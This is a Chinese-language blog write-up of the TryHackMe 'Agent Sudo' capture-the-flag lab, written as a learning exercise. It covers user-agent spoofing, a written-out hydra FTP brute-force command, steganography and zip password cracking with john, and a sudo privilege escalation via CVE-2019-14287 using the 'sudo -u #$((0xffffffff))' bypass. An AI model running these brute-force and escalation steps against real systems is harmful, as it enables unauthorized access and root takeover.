Pr1nt
文章12
标签8
分类4

文章分类

文章归档

THM3 Agent Sudo

THM3 Agent Sudo

easy是你的谎言(于3月4日完结)

Agent Sudo

  1. Agent Sudo
    1. ftp
    2. Flag1
    3. Flag2
    4. 总结

题目如下
改变user-agent试试

timu

当user-agent为R的时候,上面出现了一句话(意为:“你在做什么?你是25名员工中的一员吗?如果没有,我将报告这一事件” )

r

提示25人,算上R一共26个,正好对应26个字母,于是从A开始测试,A与B未出现变化,但当输入C的时候,显示变了
c

提示弱口令,同时发现用户名chris
老规矩nmap扫端口

nmap

ftp

出现了一个以前题目没出现过的21端口,那就先对ftp进行爆破
hydra -l chris -P E:\gongju\fuzzDicts-master\passwordDict\top500.txt 10.10.226.232 ftp

爆破成功,ftp上去下载文件

ftp
file

三个文件,.txt文件内容与显示一样,对两个照片下手,首先考虑隐写,使用binwalk看看

binwalk

出现zip,解压需要密码,使用zip2john获取hash值准备爆破,使用john爆破出密码,用7z解压获得文件

hash
john

1
2
3
4
5
6
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R

使用cyberchef对莫名字符串解密,发现是base64编码

base

获得密码Area51,但是光有这个并不知道他的用途是什么,于是对ftp下载下来的另一个jpg文件下手,使用steghide工具发现另一个人的用户名与登录密码hackerrules!(这里我用hackerrules试了半天一直提示密码错误,哪个小逆天教你这么写密码的)

ssh

Flag1

flag1

find一下发现没有可以提权的东西,使用scp下载目录里的另一张照片, 其中一个问题是照片中的事件叫什么?, 通过OSINT发现事件名叫Roswell alien autopsy (事实上,这个事件名与提权拿第二个flag一点关系都没有,纯nt,我还研究半天这个事件怎么看出来CVE的)

Flag2

接下来是经典提权

1
2
3
4
5
6
7
james@agent-sudo:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
(ALL, !root) /bin/bash

(ALL, !root) /bin/bash 这条规则授予了所有非 root 用户在任何主机上运行 Bash Shell 的权限搜索(ALL, !root) /bin/bash CVE,发现有一个CVE-2019-14287:

在 1.8.28 之前的 Sudo 中,有权访问 Runas ALL sudoer 帐户的攻击者可以通过使用精心设计的用户 ID 调用 sudo 来绕过某些策略黑名单​​和会话 PAM 模块,并可能导致错误的日志记录。例如,对于“sudo -u #$((0xffffffff))”命令,这允许绕过 !root 配置和 USER= 日志记录。

1
2
3
4
5
james@agent-sudo:~$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

正好合适,存在这个漏洞,使用exp提权
root

总结

要不是一些有点nt的问题这个还挺有意思的,需要了解各种爆破和最后一个CVE提权,学习到很多,接下来要去学习go语言和开发项目了,THM将告一段落